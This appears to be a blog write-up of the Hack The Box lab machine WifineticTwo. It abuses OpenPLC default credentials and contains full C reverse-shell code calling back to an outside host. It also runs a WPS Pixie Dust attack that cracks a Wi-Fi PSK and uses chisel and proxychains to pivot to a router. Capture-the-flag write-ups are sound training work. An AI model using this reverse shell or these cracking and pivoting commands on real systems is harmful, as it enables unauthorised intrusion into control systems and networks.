Post

HTB - WifineticTwo

WifineticTwo - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.



HTB - WifineticTwo

NMAP

image1

image2

  • Using the default credentials for OpenPLC

openplc : openplc

  • We can log in:

image3

  • I found this RCE vulnerability for openplc:

https://www.exploit-db.com/exploits/49803

image4

It fails at the last hurdle

  • It creates the file program.st:

image5

  • But the compilation of this program fails because it doesn’t exist on the server

image6

  • This is the C code that it creates:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#include "ladder.h"

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>

//-----------------------------------------------------------------------------
//-----------------------------------------------------------------------------

int ignored_bool_inputs[] = {-1};
int ignored_bool_outputs[] = {-1};
int ignored_int_inputs[] = {-1};
int ignored_int_outputs[] = {-1};

//-----------------------------------------------------------------------------
//-----------------------------------------------------------------------------

void initCustomLayer()
{
}

void updateCustomIn()
{
}

void updateCustomOut()
{
    int port = 5555;
    struct sockaddr_in revsockaddr;

    int sockt = socket(AF_INET, SOCK_STREAM, 0);

    revsockaddr.sin_family = AF_INET;
    revsockaddr.sin_port = htons(port);
    revsockaddr.sin_addr.s_addr = inet_addr("10.10.14.50");

    connect(sockt, (struct sockaddr *) &revsockaddr, sizeof(revsockaddr));

    dup2(sockt, 0);
    dup2(sockt, 1);
    dup2(sockt, 2);

    char * const argv[] = {"/bin/sh", NULL};
    execve("/bin/sh", argv, NULL);

    return 0;
}

  • We are however, able to compile the Blank Program:

image7

  • Copy the code from program.st
  • Delete the program.st and only have Blank Program there
  • Go to Hardware -> Check the reverse shell code is in there or paste it in
  • Make sure it says Blank Program at the top:

image8

image9

  • Save changes

  • Set up listener
  • Start PLC

image10

image11

  • Root isn’t ROOT:

image12

  • More stable shell:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/usr/bin/script -qc /bin/bash /dev/null

#PRESS Ctrl+Z

stty raw -echo
fg

#PRESS ENTER
#PRESS ENTER

export TERM=xterm
stty cols 236 rows 59
PS1="\n\[\033[1;34m\][\$(date +%H%M)][\u@\h:\w]$\[\033[0m\] "
alias ls='ls --color=auto'
reset
clear

#PRESS ENTER

image13

1
2
sudo iwlist wlan0 scan

image14

1
2
iwconfig

image15

  • From the outputs above, we can see that we have a wireless adapter wlan0 and there is a wireless network called plcrouter. But we aren’t connected to it

  • First we need to find the passphrase for the network

  • We can see if we can do a WPS Pixie Dust Attack:

1
2
3
4
git clone https://github.com/kimocoder/OneShot/tree/master

sudo python3 oneshot.py -i wlan0 -K

image16

  • After cracking the WPS PIN, we get the PSK (password): NoWWEDoKnowWhaTisReal123!

  • We don’t have Network Manager installed but we do have wpa_supplicant

  • Follow this guide to connect to plcrouter using wpa_supplicant

https://wiki.somlabs.com/index.php/Connecting_to_WiFi_network_using_systemd_and_wpa-supplicant

image17

image18

  • Connected:

image19

  • Uploaded chisel to see if I can see any other machines on the network and got a hit on 192.168.1.1 on port 80:
1
2
3
4
chisel server -p 8888 --reverse
./chisel client 10.10.14.50:8888 R:socks
proxychains nmap 192.168.1.0/24 -sT

image20

Most probably the router

Port 22 is also open on the router:

image21

  • If we look at the http page (through FoxyProxy Chisel proxy):

image22

  • The username root is already populated and if we just click on Login:

image23

We successfully log in

  • We can use this to ssh to the access point:
1
ssh root@192.168.1.1

image24

If you want to install something like reaver for this challenge

image25

image26

Apt isn’t configured to run through a SOCKS proxy (like chisel) but rather through an http proxy

The best way to get apt to run on a remote machine with no internet access is:

On Kali:

1
2
pip install proxy.py
proxy --hostname 0.0.0.0 --port 12345

On remote target machine:

  • Create the file /etc/apt/apt.conf with the lines:
1
2
Acquire::http::Proxy "http://10.10.14.50:12345/";
Acquire::https::Proxy "https://10.10.14.50:12345/";
  • And set the env_variable http_proxy:
1
export http_proxy=http://10.10.14.50:12345
  • Now run apt commands:

image27

image28

This post is licensed under CC BY 4.0 by the author.